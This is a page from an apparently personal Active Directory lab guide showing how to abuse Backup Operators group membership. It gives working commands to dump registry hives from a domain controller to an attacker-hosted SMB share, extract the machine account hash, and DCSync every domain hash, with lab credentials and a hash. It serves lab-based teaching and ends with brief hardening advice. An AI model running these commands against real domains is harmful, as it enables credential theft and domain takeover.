📖
Building a Windows AD lab
  • Building a Windows AD lab
  • Lab-setup
    • Lab overview
    • Building the lab
      • Prerequisite
      • Creating images
        • Optional: Install software & Settings
      • Network setup
      • Cloning & Creating VM's
      • Creating bank.local
        • Creating Domain Controller - DC01
          • Enable RDP
        • Creating amsterdam.bank.local
          • Creating Domain Controller - DC02
            • Creating a AD structure
            • Create a CA
            • Configure LDAPS
          • Creating Fileserver - FILE01
            • File services
          • Creating W10 client - WS01
            • PSRemoting
          • Creating Webserver - WEB01
            • Web Services
            • SQL Server
              • Create database
      • Creating secure.local
        • Creating Domain Controller - DC03
        • Creating File/SQL Server - DATA01
          • SQL Server
            • Create database
    • Attack Paths
      • Attack path 1 (hard)
        • Configuring
        • Tasks
        • Manual
      • Attack path 2
        • Configuring
        • Task
        • Manual
    • Troubleshooting
    • To-Do
  • Vulnerabilities & Misconfigurations & Attacks
    • Initial Access Attacks
      • Username Enumeration
        • Password Spraying
        • AS-REP Roasting
        • Empty Password
      • SMB Relaying
      • SMB Null-Session (To-Do)
      • SQL Server default login
    • Active Directory Attacks
      • Password spraying
      • AS-REP Roasting
      • Empty password
      • Password in description
      • Kerberoasting
      • Delegation Attacks
        • Unconstrained Delegation
          • Printerbug
        • Constrained Delegation
        • Resource Based Constrained Delegation
          • Computeraccount Takeover
          • Change-LockScreen
          • Webclient Attack (todo)
      • DACL-Abuses
        • Write Owner
        • Owns
        • WriteDacl
        • GenericAll
        • GenericWrite (todo)
        • ForceChangePassword
        • Add user to group (todo)
        • Targeted Kerberoast (todo)
        • Get-Changes
      • Reused local administrator (todo)
      • SQL Server Attacks (todo)
        • Initial Access
          • SQL Server default login
          • Normal domain user access
        • Privilege Escalation
          • Impersonation
          • DB-Owner
          • Enumerate Logins
            • Weak passwords
        • Executing Commands
        • Database-Links
        • Capturing hashes & Relaying
      • Reading LAPS passwords (todo)
      • Priviliged Groups (todo)
        • DNS-Admins (todo)
        • Account Operators (todo)
        • Backup Operators
        • Server Operators (todo)
      • Hopping domains and forests
        • Child to parent domain
          • Krbtgt hash
          • Trust key
        • Cross forest Attacks (todo)
          • Foreign user
    • Misc
      • Reverse shell trick
      • Lateral Movement
        • PSRemoting
        • PsExec (todo)
      • Misconfigured Service (todo)
        • Unqouted Service Path
      • Discovering Shares
      • Password on shares
      • Different methods of dumping credentials
        • LSASS (todo)
        • Dumping DPAPI
          • Browser passwords
        • Scheduled tasks (todo)
        • Services (todo)
        • Vssadmin Shadow Copy
      • ms-ds-machineaccountquota (todo)
      • add DNS Records (todo)
      • Bypassing UAC
    • Template page
  • Defence
    • Detection
    • Hardening
      • LDAP
        • LDAP Signing
        • LDAPS Binding
      • Strong Password Policy
      • Change who can join computers to the domain
      • Protected users group
      • Account is sensitive and cannot be delegated
      • Powershell Execution Policy
      • Template page
Powered by GitBook
On this page
  • Configuring
  • Prerequisite
  • Attacking
  • How it works
  • Tools
  • Executing the attack
  • Defending
  • Recommendations
  • Detection
  • References
Edit on GitHub
  1. Vulnerabilities & Misconfigurations & Attacks
  2. Active Directory Attacks
  3. Priviliged Groups (todo)

Backup Operators

PreviousAccount Operators (todo)NextServer Operators (todo)

Last updated 2 years ago

Configuring

Prerequisite

The membership of the "Backup Operators" group is configured in the Dumping DPAPI page.

Attacking

How it works

The Backup Operators group is a built in group in AD. By default it has no members.

Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. They also have the permissions needed to replace files (including operating system files) on domain controllers.

One of the known attacks is to copy the ntds.dit file and extract all the domain credentials from it.

I wasn't able to copy the ntds.dit file. There are some write-ups such as describing how to abuse the "Backup Operator" group through making a shadow copy, but these require winrm access to the DC.

In my attack we will use the tool BackupOperatorToDA from .

Tools

Executing the attack

The small stuff

  • Login to the DC locally (Not through RDP but only locally):

  • List files on the Domain Controller:

  • Copy files from the Domain Controller:

To Domain Admin!

From our enumeration when we gained access to the sa_backup account we know the user is part of the Backup Operators group. We can abuse the permissions by making a copy of the SAM, SYSTEM and SECURITY hive, extract the machine account hash and then execute a DCsync attack.

  1. Login to DATA01 as sa_backup with the password LS6RV5o8T9.

  2. Run the following command to check if the sa_backup user is member of the Backup Operators group.

3. One of the requirements is to host a public SMB share, we can do this with the smbserver.py script from Impacket. This will create a share on \\192.168.248.2\share.

python3 /opt/impacket/examples/smbserver.py share ~/adlab -smb2support

4. The next step is to execute the BackupOperatorToDa.exe tool to retrieve the the SAM, SYSTEN and SECURITY HIVE and save them in our created public share:

.\BackupOperatorToDA.exe -t \\dc03.secure.local -u sa_backup -p LS6RV5o8T9 -d secure.local -o \\192.168.248.2\share\

If you are using another share, make sure the share is writeable by anyone otherwise the DC won't be able to write its files.

5. If we check in our directory ~/adlab we can see the files: (for the screenshot I made a copy in the HIVE directory)

6. The next step is to run SecretDump.py to retrieve the machine account NTLM hash out of these HIVE dumps:

secretsdump.py LOCAL -system ~/adlab/SYSTEM -security ~/adlab/SECURITY -sam ~/adlab/SAM

7. The last step is to run Secretsdump.py to run DCsync and retrieve all the domain account hashes:

secretsdump.py 'secure.local/dc03$'@dc03.secure.local -hashes aad3b435b51404eeaad3b435b51404ee:ba6414d4e6ce546465b256950282c7f3

We retrieved the NTLM account hash of every user in the domain and could authenticate with these to the domain controller. As Administrator for example which is Domain Admin.

Defending

Recommendations

  • Never use any of the "Operator" groups. Create specialised groups and minimal permissions for the tasks the different IT departments/roles need. Use the least privilege principal.

Detection

References

Dumping DPAPI
these
mpgn
Smbserver.py
BackupOperatorToDA.exe
Active Directory Security Groups - Windows securitydocsmsft
Logo